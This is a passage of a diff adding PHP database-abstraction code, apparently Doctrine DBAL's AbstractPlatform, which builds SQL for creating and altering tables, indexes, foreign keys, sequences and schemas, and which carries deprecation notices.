$comment === '') { + continue; + } + + $sql[] = $this->getCommentOnColumnSQL($tableName, $column->getQuotedName($this), $comment); + } + } + + return array_merge($sql, $columnSql); + } + + /** + * @param list $tables + * + * @return list + * + * @throws Exception + */ + public function getCreateTablesSQL(array $tables): array + { + $sql = []; + + foreach ($tables as $table) { + $sql = array_merge($sql, $this->getCreateTableWithoutForeignKeysSQL($table)); + } + + foreach ($tables as $table) { + foreach ($table->getForeignKeys() as $foreignKey) { + $sql[] = $this->getCreateForeignKeySQL( + $foreignKey, + $table->getQuotedName($this), + ); + } + } + + return $sql; + } + + /** + * @param list
    $tables + * + * @return list + */ + public function getDropTablesSQL(array $tables): array + { + $sql = []; + + foreach ($tables as $table) { + foreach ($table->getForeignKeys() as $foreignKey) { + $sql[] = $this->getDropForeignKeySQL( + $foreignKey->getQuotedName($this), + $table->getQuotedName($this), + ); + } + } + + foreach ($tables as $table) { + $sql[] = $this->getDropTableSQL($table->getQuotedName($this)); + } + + return $sql; + } + + protected function getCommentOnTableSQL(string $tableName, ?string $comment): string + { + $tableName = new Identifier($tableName); + + return sprintf( + 'COMMENT ON TABLE %s IS %s', + $tableName->getQuotedName($this), + $this->quoteStringLiteral((string) $comment), + ); + } + + /** + * @param string $tableName + * @param string $columnName + * @param string|null $comment + * + * @return string + */ + public function getCommentOnColumnSQL($tableName, $columnName, $comment) + { + $tableName = new Identifier($tableName); + $columnName = new Identifier($columnName); + + return sprintf( + 'COMMENT ON COLUMN %s.%s IS %s', + $tableName->getQuotedName($this), + $columnName->getQuotedName($this), + $this->quoteStringLiteral((string) $comment), + ); + } + + /** + * Returns the SQL to create inline comment on a column. + * + * @param string $comment + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getInlineColumnCommentSQL($comment) + { + if (! $this->supportsInlineColumnComments()) { + throw Exception::notSupported(__METHOD__); + } + + return 'COMMENT ' . $this->quoteStringLiteral($comment); + } + + /** + * Returns the SQL used to create a table. + * + * @param string $name + * @param mixed[][] $columns + * @param mixed[] $options + * + * @return string[] + */ + protected function _getCreateTableSQL($name, array $columns, array $options = []) + { + $columnListSql = $this->getColumnDeclarationListSQL($columns); + + if (isset($options['uniqueConstraints']) && ! empty($options['uniqueConstraints'])) { + foreach ($options['uniqueConstraints'] as $index => $definition) { + $columnListSql .= ', ' . $this->getUniqueConstraintDeclarationSQL($index, $definition); + } + } + + if (isset($options['primary']) && ! empty($options['primary'])) { + $columnListSql .= ', PRIMARY KEY(' . implode(', ', array_unique(array_values($options['primary']))) . ')'; + } + + if (isset($options['indexes']) && ! empty($options['indexes'])) { + foreach ($options['indexes'] as $index => $definition) { + $columnListSql .= ', ' . $this->getIndexDeclarationSQL($index, $definition); + } + } + + $query = 'CREATE TABLE ' . $name . ' (' . $columnListSql; + $check = $this->getCheckDeclarationSQL($columns); + + if (! empty($check)) { + $query .= ', ' . $check; + } + + $query .= ')'; + + $sql = [$query]; + + if (isset($options['foreignKeys'])) { + foreach ($options['foreignKeys'] as $definition) { + $sql[] = $this->getCreateForeignKeySQL($definition, $name); + } + } + + return $sql; + } + + /** @return string */ + public function getCreateTemporaryTableSnippetSQL() + { + return 'CREATE TEMPORARY TABLE'; + } + + /** + * Generates SQL statements that can be used to apply the diff. + * + * @return list + */ + public function getAlterSchemaSQL(SchemaDiff $diff): array + { + return $diff->toSql($this); + } + + /** + * Returns the SQL to create a sequence on this platform. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getCreateSequenceSQL(Sequence $sequence) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL to change a sequence on this platform. + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getAlterSequenceSQL(Sequence $sequence) + { + throw Exception::notSupported(__METHOD__); + } + + /** + * Returns the SQL snippet to drop an existing sequence. + * + * @param Sequence|string $sequence + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getDropSequenceSQL($sequence) + { + if (! $this->supportsSequences()) { + throw Exception::notSupported(__METHOD__); + } + + if ($sequence instanceof Sequence) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $sequence as a Sequence object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $sequence = $sequence->getQuotedName($this); + } + + return 'DROP SEQUENCE ' . $sequence; + } + + /** + * Returns the SQL to create a constraint on a table on this platform. + * + * @deprecated Use {@see getCreateIndexSQL()}, {@see getCreateForeignKeySQL()} + * or {@see getCreateUniqueConstraintSQL()} instead. + * + * @param Table|string $table + * + * @return string + * + * @throws InvalidArgumentException + */ + public function getCreateConstraintSQL(Constraint $constraint, $table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } + + $query = 'ALTER TABLE ' . $table . ' ADD CONSTRAINT ' . $constraint->getQuotedName($this); + + $columnList = '(' . implode(', ', $constraint->getQuotedColumns($this)) . ')'; + + $referencesClause = ''; + if ($constraint instanceof Index) { + if ($constraint->isPrimary()) { + $query .= ' PRIMARY KEY'; + } elseif ($constraint->isUnique()) { + $query .= ' UNIQUE'; + } else { + throw new InvalidArgumentException( + 'Can only create primary or unique constraints, no common indexes with getCreateConstraintSQL().', + ); + } + } elseif ($constraint instanceof UniqueConstraint) { + $query .= ' UNIQUE'; + } elseif ($constraint instanceof ForeignKeyConstraint) { + $query .= ' FOREIGN KEY'; + + $referencesClause = ' REFERENCES ' . $constraint->getQuotedForeignTableName($this) . + ' (' . implode(', ', $constraint->getQuotedForeignColumns($this)) . ')'; + } + + $query .= ' ' . $columnList . $referencesClause; + + return $query; + } + + /** + * Returns the SQL to create an index on a table on this platform. + * + * @param Table|string $table The name of the table on which the index is to be created. + * + * @return string + * + * @throws InvalidArgumentException + */ + public function getCreateIndexSQL(Index $index, $table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } + + $name = $index->getQuotedName($this); + $columns = $index->getColumns(); + + if (count($columns) === 0) { + throw new InvalidArgumentException(sprintf( + 'Incomplete or invalid index definition %s on table %s', + $name, + $table, + )); + } + + if ($index->isPrimary()) { + return $this->getCreatePrimaryKeySQL($index, $table); + } + + $query = 'CREATE ' . $this->getCreateIndexSQLFlags($index) . 'INDEX ' . $name . ' ON ' . $table; + $query .= ' (' . $this->getIndexFieldDeclarationListSQL($index) . ')' . $this->getPartialIndexSQL($index); + + return $query; + } + + /** + * Adds condition for partial index. + * + * @return string + */ + protected function getPartialIndexSQL(Index $index) + { + if ($this->supportsPartialIndexes() && $index->hasOption('where')) { + return ' WHERE ' . $index->getOption('where'); + } + + return ''; + } + + /** + * Adds additional flags for index generation. + * + * @return string + */ + protected function getCreateIndexSQLFlags(Index $index) + { + return $index->isUnique() ? 'UNIQUE ' : ''; + } + + /** + * Returns the SQL to create an unnamed primary key constraint. + * + * @param Table|string $table + * + * @return string + */ + public function getCreatePrimaryKeySQL(Index $index, $table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } + + return 'ALTER TABLE ' . $table . ' ADD PRIMARY KEY (' . $this->getIndexFieldDeclarationListSQL($index) . ')'; + } + + /** + * Returns the SQL to create a named schema. + * + * @param string $schemaName + * + * @return string + * + * @throws Exception If not supported on this platform. + */ + public function getCreateSchemaSQL($schemaName) + { + if (! $this->supportsSchemas()) { + throw Exception::notSupported(__METHOD__); + } + + return 'CREATE SCHEMA ' . $schemaName; + } + + /** + * Returns the SQL to create a unique constraint on a table on this platform. + */ + public function getCreateUniqueConstraintSQL(UniqueConstraint $constraint, string $tableName): string + { + return $this->getCreateConstraintSQL($constraint, $tableName); + } + + /** + * Returns the SQL snippet to drop a schema. + * + * @throws Exception If not supported on this platform. + */ + public function getDropSchemaSQL(string $schemaName): string + { + if (! $this->supportsSchemas()) { + throw Exception::notSupported(__METHOD__); + } + + return 'DROP SCHEMA ' . $schemaName; + } + + /** + * Quotes a string so that it can be safely used as a table or column name, + * even if it is a reserved word of the platform. This also detects identifier + * chains separated by dot and quotes them independently. + * + * NOTE: Just because you CAN use quoted identifiers doesn't mean + * you SHOULD use them. In general, they end up causing way more + * problems than they solve. + * + * @param string $str The identifier name to be quoted. + * + * @return string The quoted identifier string. + */ + public function quoteIdentifier($str) + { + if (strpos($str, '.') !== false) { + $parts = array_map([$this, 'quoteSingleIdentifier'], explode('.', $str)); + + return implode('.', $parts); + } + + return $this->quoteSingleIdentifier($str); + } + + /** + * Quotes a single identifier (no dot chain separation). + * + * @param string $str The identifier name to be quoted. + * + * @return string The quoted identifier string. + */ + public function quoteSingleIdentifier($str) + { + $c = $this->getIdentifierQuoteCharacter(); + + return $c . str_replace($c, $c . $c, $str) . $c; + } + + /** + * Returns the SQL to create a new foreign key. + * + * @param ForeignKeyConstraint $foreignKey The foreign key constraint. + * @param Table|string $table The name of the table on which the foreign key is to be created. + * + * @return string + */ + public function getCreateForeignKeySQL(ForeignKeyConstraint $foreignKey, $table) + { + if ($table instanceof Table) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4798', + 'Passing $table as a Table object to %s is deprecated. Pass it as a quoted name instead.', + __METHOD__, + ); + + $table = $table->getQuotedName($this); + } + + return 'ALTER TABLE ' . $table . ' ADD ' . $this->getForeignKeyDeclarationSQL($foreignKey); + } + + /** + * Gets the SQL statements for altering an existing table. + * + * This method returns an array of SQL statements, since some platforms need several statements. + * + * @return list + * + * @throws Exception If not supported on this platform. + */ + public function getAlterTableSQL(TableDiff $diff) + { + throw Exception::notSupported(__METHOD__); + } + + /** @return list */ + public function getRenameTableSQL(string $oldName, string $newName): array + { + return [ + sprintf('ALTER TABLE %s RENAME TO %s', $oldName, $newName), + ]; + } + + /** + * @param mixed[] $columnSql + * + * @return bool + */ + protected function onSchemaAlterTableAddColumn(Column $column, TableDiff $diff, &$columnSql) + { + if ($this->_eventManager === null) { + return false; + } + + if (! $this->_eventManager->hasListeners(Events::onSchemaAlterTableAddColumn)) { + return false; + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaAlterTableAddColumn, + ); + + $eventArgs = new SchemaAlterTableAddColumnEventArgs($column, $diff, $this); + $this->_eventManager->dispatchEvent(Events::onSchemaAlterTableAddColumn, $eventArgs); + + $columnSql = array_merge($columnSql, $eventArgs->getSql()); + + return $eventArgs->isDefaultPrevented(); + } + + /** + * @param string[] $columnSql + * + * @return bool + */ + protected function onSchemaAlterTableRemoveColumn(Column $column, TableDiff $diff, &$columnSql) + { + if ($this->_eventManager === null) { + return false; + } + + if (! $this->_eventManager->hasListeners(Events::onSchemaAlterTableRemoveColumn)) { + return false; + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaAlterTableRemoveColumn, + ); + + $eventArgs = new SchemaAlterTableRemoveColumnEventArgs($column, $diff, $this); + $this->_eventManager->dispatchEvent(Events::onSchemaAlterTableRemoveColumn, $eventArgs); + + $columnSql = array_merge($columnSql, $eventArgs->getSql()); + + return $eventArgs->isDefaultPrevented(); + } + + /** + * @param string[] $columnSql + * + * @return bool + */ + protected function onSchemaAlterTableChangeColumn(ColumnDiff $columnDiff, TableDiff $diff, &$columnSql) + { + if ($this->_eventManager === null) { + return false; + } + + if (! $this->_eventManager->hasListeners(Events::onSchemaAlterTableChangeColumn)) { + return false; + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaAlterTableChangeColumn, + ); + + $eventArgs = new SchemaAlterTableChangeColumnEventArgs($columnDiff, $diff, $this); + $this->_eventManager->dispatchEvent(Events::onSchemaAlterTableChangeColumn, $eventArgs); + + $columnSql = array_merge($columnSql, $eventArgs->getSql()); + + return $eventArgs->isDefaultPrevented(); + } + + /** + * @param string $oldColumnName + * @param string[] $columnSql + * + * @return bool + */ + protected function onSchemaAlterTableRenameColumn($oldColumnName, Column $column, TableDiff $diff, &$columnSql) + { + if ($this->_eventManager === null) { + return false; + } + + if (! $this->_eventManager->hasListeners(Events::onSchemaAlterTableRenameColumn)) { + return false; + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaAlterTableRenameColumn, + ); + + $eventArgs = new SchemaAlterTableRenameColumnEventArgs($oldColumnName, $column, $diff, $this); + $this->_eventManager->dispatchEvent(Events::onSchemaAlterTableRenameColumn, $eventArgs); + + $columnSql = array_merge($columnSql, $eventArgs->getSql()); + + return $eventArgs->isDefaultPrevented(); + } + + /** + * @param string[] $sql + * + * @return bool + */ + protected function onSchemaAlterTable(TableDiff $diff, &$sql) + { + if ($this->_eventManager === null) { + return false; + } + + if (! $this->_eventManager->hasListeners(Events::onSchemaAlterTable)) { + return false; + } + + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/5784', + 'Subscribing to %s events is deprecated.', + Events::onSchemaAlterTable, + ); + + $eventArgs = new SchemaAlterTableEventArgs($diff, $this); + $this->_eventManager->dispatchEvent(Events::onSchemaAlterTable, $eventArgs); + + $sql = array_merge($sql, $eventArgs->getSql()); + + return $eventArgs->isDefaultPrevented(); + } + + /** @return string[] */ + protected function getPreAlterTableIndexForeignKeySQL(TableDiff $diff) + { + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + + $sql = []; + if ($this->supportsForeignKeyConstraints()) { + foreach ($diff->getDroppedForeignKeys() as $foreignKey) { + if ($foreignKey instanceof ForeignKeyConstraint) { + $foreignKey = $foreignKey->getQuotedName($this); + } + + $sql[] = $this->getDropForeignKeySQL($foreignKey, $tableNameSQL); + } + + foreach ($diff->getModifiedForeignKeys() as $foreignKey) { + $sql[] = $this->getDropForeignKeySQL($foreignKey->getQuotedName($this), $tableNameSQL); + } + } + + foreach ($diff->getDroppedIndexes() as $index) { + $sql[] = $this->getDropIndexSQL($index->getQuotedName($this), $tableNameSQL); + } + + foreach ($diff->getModifiedIndexes() as $index) { + $sql[] = $this->getDropIndexSQL($index->getQuotedName($this), $tableNameSQL); + } + + return $sql; + } + + /** @return string[] */ + protected function getPostAlterTableIndexForeignKeySQL(TableDiff $diff) + { + $sql = []; + $newName = $diff->getNewName(); + + if ($newName !== false) { + $tableNameSQL = $newName->getQuotedName($this); + } else { + $tableNameSQL = ($diff->getOldTable() ?? $diff->getName($this))->getQuotedName($this); + } + + if ($this->supportsForeignKeyConstraints()) { + foreach ($diff->getAddedForeignKeys() as $foreignKey) { + $sql[] = $this->getCreateForeignKeySQL($foreignKey, $tableNameSQL); + } + + foreach ($diff->getModifiedForeignKeys() as $foreignKey) { + $sql[] = $this->getCreateForeignKeySQL($foreignKey, $tableNameSQL); + } + } + + foreach ($diff->getAddedIndexes() as $index) { + $sql[] = $this->getCreateIndexSQL($index, $tableNameSQL); + } + + foreach ($diff->getModifiedIndexes() as $index) { + $sql[] = $this->getCreateIndexSQL($index, $tableNameSQL); + } + + foreach ($diff->getRenamedIndexes() as $oldIndexName => $index) { + $oldIndexName = new Identifier($oldIndexName); + $sql = array_merge( + $sql, + $this->getRenameIndexSQL($oldIndexName->getQuotedName($this), $index, $tableNameSQL), + ); + } + + return $sql; + } + + /** + * Returns the SQL for renaming an index on a table. + * + * @param string $oldIndexName The name of the index to rename from. + * @param Index $index The definition of the index to rename to. + * @param string $tableName The table to rename the given index on. + * + * @return string[] The sequence of SQL statements for renaming the given index. + */ + protected function getRenameIndexSQL($oldIndexName, Index $index, $tableName) + { + return [ + $this->getDropIndexSQL($oldIndexName, $tableName), + $this->getCreateIndexSQL($index, $tableName), + ]; + } + + /** + * Gets declaration of a number of columns in bulk. + * + * @param mixed[][] $columns A multidimensional associative array. + * The first dimension determines the column name, while the second + * dimension is keyed with the name of the properties + * of the column being declared as array indexes. Currently, the types + * of supported column properties are as follows: + * + * length + * Integer value that determines the maximum length of the text + * column. If this argument is missing the column should be + * declared to have the longest length allowed by the DBMS. + * + * default + * Text value to be used as default for this column. + * + * notnull + * Boolean flag that indicates whether this column is constrained + * to not be set to null. + * charset + * Text value with the default CHARACTER SET for this column. + * collation + * Text value with the default COLLATION for this column. + * unique + * unique constraint + * + * @return string + */ + public function getColumnDeclarationListSQL(array $columns) + { + $declarations = []; + + foreach ($columns as $name => $column) { + $declarations[] = $this->getColumnDeclarationSQL($name, $column); + } + + return implode(', ', $declarations); + } + + /** + * Obtains DBMS specific SQL code portion needed to declare a generic type + * column to be used in statements like CREATE TABLE. + * + * @param string $name The name the column to be declared. + * @param mixed[] $column An associative array with the name of the properties + * of the column being declared as array indexes. Currently, the types + * of supported column properties are as follows: + * + * length + * Integer value that determines the maximum length of the text + * column. If this argument is missing the column should be + * declared to have the longest length allowed by the DBMS. + * + * default + * Text value to be used as default for this column. + * + * notnull + * Boolean flag that indicates whether this column is constrained + * to not be set to null. + * charset + * Text value with the default CHARACTER SET for this column. + * collation + * Text value with the default COLLATION for this column. + * unique + * unique constraint + * check + * column check constraint + * columnDefinition + * a string that defines the complete column + * + * @return string DBMS specific SQL code portion that should be used to declare the column. + * + * @throws Exception + */ + public function getColumnDeclarationSQL($name, array $column) + { + if (isset($column['columnDefinition'])) { + $declaration = $this->getCustomTypeDeclarationSQL($column); + } else { + $default = $this->getDefaultValueDeclarationSQL($column); + + $charset = ! empty($column['charset']) ? + ' ' . $this->getColumnCharsetDeclarationSQL($column['charset']) : ''; + + $collation = ! empty($column['collation']) ? + ' ' . $this->getColumnCollationDeclarationSQL($column['collation']) : ''; + + $notnull = ! empty($column['notnull']) ? ' NOT NULL' : ''; + + if (! empty($column['unique'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5656', + 'The usage of the "unique" column property is deprecated. Use unique constraints instead.', + ); + + $unique = ' ' . $this->getUniqueFieldDeclarationSQL(); + } else { + $unique = ''; + } + + if (! empty($column['check'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5656', + 'The usage of the "check" column property is deprecated.', + ); + + $check = ' ' . $column['check']; + } else { + $check = ''; + } + + $typeDecl = $column['type']->getSQLDeclaration($column, $this); + $declaration = $typeDecl . $charset . $default . $notnull . $unique . $check . $collation; + + if ($this->supportsInlineColumnComments() && isset($column['comment']) && $column['comment'] !== '') { + $declaration .= ' ' . $this->getInlineColumnCommentSQL($column['comment']); + } + } + + return $name . ' ' . $declaration; + } + + /** + * Returns the SQL snippet that declares a floating point column of arbitrary precision. + * + * @param mixed[] $column + * + * @return string + */ + public function getDecimalTypeDeclarationSQL(array $column) + { + if (empty($column['precision'])) { + if (! isset($column['precision'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5637', + 'Relying on the default decimal column precision is deprecated' + . ', specify the precision explicitly.', + ); + } + + $precision = 10; + } else { + $precision = $column['precision']; + } + + if (empty($column['scale'])) { + if (! isset($column['scale'])) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5637', + 'Relying on the default decimal column scale is deprecated' + . ', specify the scale explicitly.', + ); + } + + $scale = 0; + } else { + $scale = $column['scale']; + } + + return 'NUMERIC(' . $precision . ', ' . $scale . ')'; + } + + /** + * Obtains DBMS specific SQL code portion needed to set a default value + * declaration to be used in statements like CREATE TABLE. + * + * @param mixed[] $column The column definition array. + * + * @return string DBMS specific SQL code portion needed to set a default value. + */ + public function getDefaultValueDeclarationSQL($column) + { + if (! isset($column['default'])) { + return empty($column['notnull']) ? ' DEFAULT NULL' : ''; + } + + $default = $column['default']; + + if (! isset($column['type'])) { + return " DEFAULT '" . $default . "'"; + } + + $type = $column['type']; + + if ($type instanceof Types\PhpIntegerMappingType) { + return ' DEFAULT ' . $default; + } + + if ($type instanceof Types\PhpDateTimeMappingType && $default === $this->getCurrentTimestampSQL()) { + return ' DEFAULT ' . $this->getCurrentTimestampSQL(); + } + + if ($type instanceof Types\TimeType && $default === $this->getCurrentTimeSQL()) { + return ' DEFAULT ' . $this->getCurrentTimeSQL(); + } + + if ($type instanceof Types\DateType && $default === $this->getCurrentDateSQL()) { + return ' DEFAULT ' . $this->getCurrentDateSQL(); + } + + if ($type instanceof Types\BooleanType) { + return ' DEFAULT ' . $this->convertBooleans($default); + } + + return ' DEFAULT ' . $this->quoteStringLiteral($default); + } + + /** + * Obtains DBMS specific SQL code portion needed to set a CHECK constraint + * declaration to be used in statements like CREATE TABLE. + * + * @param string[]|mixed[][] $definition The check definition. + * + * @return string DBMS specific SQL code portion needed to set a CHECK constraint. + */ + public function getCheckDeclarationSQL(array $definition) + { + $constraints = []; + foreach ($definition as $column => $def) { + if (is_string($def)) { + $constraints[] = 'CHECK (' . $def . ')'; + } else { + if (isset($def['min'])) { + $constraints[] = 'CHECK (' . $column . ' >= ' . $def['min'] . ')'; + } + + if (isset($def['max'])) { + $constraints[] = 'CHECK (' . $column . ' <= ' . $def['max'] . ')'; + } + } + } + + return implode(', ', $constraints); + } + + /** + * Obtains DBMS specific SQL code portion needed to set a unique + * constraint declaration to be used in statements like CREATE TABLE. + * + * @param string $name The name of the unique constraint. + * @param UniqueConstraint $constraint The unique constraint definition. + * + * @return string DBMS specific SQL code portion needed to set a constraint. + * + * @throws InvalidArgumentException + */ + public function getUniqueConstraintDeclarationSQL($name, UniqueConstraint $constraint) + { + $columns = $constraint->getQuotedColumns($this); + $name = new Identifier($name); + + if (count($columns) === 0) { + throw new InvalidArgumentException("Incomplete definition. 'columns' required."); + } + + $constraintFlags = array_merge(['UNIQUE'], array_map('strtoupper', $constraint->getFlags())); + $constraintName = $name->getQuotedName($this); + $columnListNames = $this->getColumnsFieldDeclarationListSQL($columns); + + return sprintf('CONSTRAINT %s %s (%s)', $constraintName, implode(' ', $constraintFlags), $columnListNames); + } + + /** + * Obtains DBMS specific SQL code portion needed to set an index + * declaration to be used in statements like CREATE TABLE. + * + * @param string $name The name of the index. + * @param Index $index The index definition. + * + * @return string DBMS specific SQL code portion needed to set an index. + * + * @throws InvalidArgumentException + */ + public function getIndexDeclarationSQL($name, Index $index) + { + $columns = $index->getColumns(); + $name = new Identifier($name); + + if (count($columns) === 0) { + throw new InvalidArgumentException("Incomplete definition. 'columns' required."); + } + + return $this->getCreateIndexSQLFlags($index) . 'INDEX ' . $name->getQuotedName($this) + . ' (' . $this->getIndexFieldDeclarationListSQL($index) . ')' . $this->getPartialIndexSQL($index); + } + + /** + * Obtains SQL code portion needed to create a custom column, + * e.g. when a column has the "columnDefinition" keyword. + * Only "AUTOINCREMENT" and "PRIMARY KEY" are added if appropriate. + * + * @deprecated + * + * @param mixed[] $column + * + * @return string + */ + public function getCustomTypeDeclarationSQL(array $column) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5527', + '%s is deprecated.', + __METHOD__, + ); + + return $column['columnDefinition']; + } + + /** + * Obtains DBMS specific SQL code portion needed to set an index + * declaration to be used in statements like CREATE TABLE. + * + * @deprecated + */ + public function getIndexFieldDeclarationListSQL(Index $index): string + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5527', + '%s is deprecated.', + __METHOD__, + ); + + return implode(', ', $index->getQuotedColumns($this)); + } + + /** + * Obtains DBMS specific SQL code portion needed to set an index + * declaration to be used in statements like CREATE TABLE. + * + * @deprecated + * + * @param mixed[] $columns + */ + public function getColumnsFieldDeclarationListSQL(array $columns): string + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5527', + '%s is deprecated.', + __METHOD__, + ); + + $ret = []; + + foreach ($columns as $column => $definition) { + if (is_array($definition)) { + $ret[] = $column; + } else { + $ret[] = $definition; + } + } + + return implode(', ', $ret); + } + + /** + * Returns the required SQL string that fits between CREATE ... TABLE + * to create the table as a temporary table. + * + * Should be overridden in driver classes to return the correct string for the + * specific database type. + * + * The default is to return the string "TEMPORARY" - this will result in a + * SQL error for any database that does not support temporary tables, or that + * requires a different SQL command from "CREATE TEMPORARY TABLE". + * + * @deprecated + * + * @return string The string required to be placed between "CREATE" and "TABLE" + * to generate a temporary table, if possible. + */ + public function getTemporaryTableSQL() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getTemporaryTableSQL() is deprecated.', + ); + + return 'TEMPORARY'; + } + + /** + * Some vendors require temporary table names to be qualified specially. + * + * @param string $tableName + * + * @return string + */ + public function getTemporaryTableName($tableName) + { + return $tableName; + } + + /** + * Obtain DBMS specific SQL code portion needed to set the FOREIGN KEY constraint + * of a column declaration to be used in statements like CREATE TABLE. + * + * @return string DBMS specific SQL code portion needed to set the FOREIGN KEY constraint + * of a column declaration. + */ + public function getForeignKeyDeclarationSQL(ForeignKeyConstraint $foreignKey) + { + $sql = $this->getForeignKeyBaseDeclarationSQL($foreignKey); + $sql .= $this->getAdvancedForeignKeyOptionsSQL($foreignKey); + + return $sql; + } + + /** + * Returns the FOREIGN KEY query section dealing with non-standard options + * as MATCH, INITIALLY DEFERRED, ON UPDATE, ... + * + * @param ForeignKeyConstraint $foreignKey The foreign key definition. + * + * @return string + */ + public function getAdvancedForeignKeyOptionsSQL(ForeignKeyConstraint $foreignKey) + { + $query = ''; + if ($foreignKey->hasOption('onUpdate')) { + $query .= ' ON UPDATE ' . $this->getForeignKeyReferentialActionSQL($foreignKey->getOption('onUpdate')); + } + + if ($foreignKey->hasOption('onDelete')) { + $query .= ' ON DELETE ' . $this->getForeignKeyReferentialActionSQL($foreignKey->getOption('onDelete')); + } + + return $query; + } + + /** + * Returns the given referential action in uppercase if valid, otherwise throws an exception. + * + * @param string $action The foreign key referential action. + * + * @return string + * + * @throws InvalidArgumentException If unknown referential action given. + */ + public function getForeignKeyReferentialActionSQL($action) + { + $upper = strtoupper($action); + switch ($upper) { + case 'CASCADE': + case 'SET NULL': + case 'NO ACTION': + case 'RESTRICT': + case 'SET DEFAULT': + return $upper; + + default: + throw new InvalidArgumentException('Invalid foreign key action: ' . $upper); + } + } + + /** + * Obtains DBMS specific SQL code portion needed to set the FOREIGN KEY constraint + * of a column declaration to be used in statements like CREATE TABLE. + * + * @return string + * + * @throws InvalidArgumentException + */ + public function getForeignKeyBaseDeclarationSQL(ForeignKeyConstraint $foreignKey) + { + $sql = ''; + if (strlen($foreignKey->getName()) > 0) { + $sql .= 'CONSTRAINT ' . $foreignKey->getQuotedName($this) . ' '; + } + + $sql .= 'FOREIGN KEY ('; + + if (count($foreignKey->getLocalColumns()) === 0) { + throw new InvalidArgumentException("Incomplete definition. 'local' required."); + } + + if (count($foreignKey->getForeignColumns()) === 0) { + throw new InvalidArgumentException("Incomplete definition. 'foreign' required."); + } + + if (strlen($foreignKey->getForeignTableName()) === 0) { + throw new InvalidArgumentException("Incomplete definition. 'foreignTable' required."); + } + + return $sql . implode(', ', $foreignKey->getQuotedLocalColumns($this)) + . ') REFERENCES ' + . $foreignKey->getQuotedForeignTableName($this) . ' (' + . implode(', ', $foreignKey->getQuotedForeignColumns($this)) . ')'; + } + + /** + * Obtains DBMS specific SQL code portion needed to set the UNIQUE constraint + * of a column declaration to be used in statements like CREATE TABLE. + * + * @deprecated Use UNIQUE in SQL instead. + * + * @return string DBMS specific SQL code portion needed to set the UNIQUE constraint + * of a column declaration. + */ + public function getUniqueFieldDeclarationSQL() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4724', + 'AbstractPlatform::getUniqueFieldDeclarationSQL() is deprecated. Use UNIQUE in SQL instead.', + ); + + return 'UNIQUE'; + } + + /** + * Obtains DBMS specific SQL code portion needed to set the CHARACTER SET + * of a column declaration to be used in statements like CREATE TABLE. + * + * @param string $charset The name of the charset. + * + * @return string DBMS specific SQL code portion needed to set the CHARACTER SET + * of a column declaration. + */ + public function getColumnCharsetDeclarationSQL($charset) + { + return ''; + } + + /** + * Obtains DBMS specific SQL code portion needed to set the COLLATION + * of a column declaration to be used in statements like CREATE TABLE. + * + * @param string $collation The name of the collation. + * + * @return string DBMS specific SQL code portion needed to set the COLLATION + * of a column declaration. + */ + public function getColumnCollationDeclarationSQL($collation) + { + return $this->supportsColumnCollation() ? 'COLLATE ' . $this->quoteSingleIdentifier($collation) : ''; + } + + /** + * Whether the platform prefers identity columns (eg. autoincrement) for ID generation. + * Subclasses should override this method to return TRUE if they prefer identity columns. + * + * @deprecated + * + * @return bool + */ + public function prefersIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/1519', + 'AbstractPlatform::prefersIdentityColumns() is deprecated.', + ); + + return false; + } + + /** + * Some platforms need the boolean values to be converted. + * + * The default conversion in this implementation converts to integers (false => 0, true => 1). + * + * Note: if the input is not a boolean the original input might be returned. + * + * There are two contexts when converting booleans: Literals and Prepared Statements. + * This method should handle the literal case + * + * @param mixed $item A boolean or an array of them. + * + * @return mixed A boolean database value or an array of them. + */ + public function convertBooleans($item) + 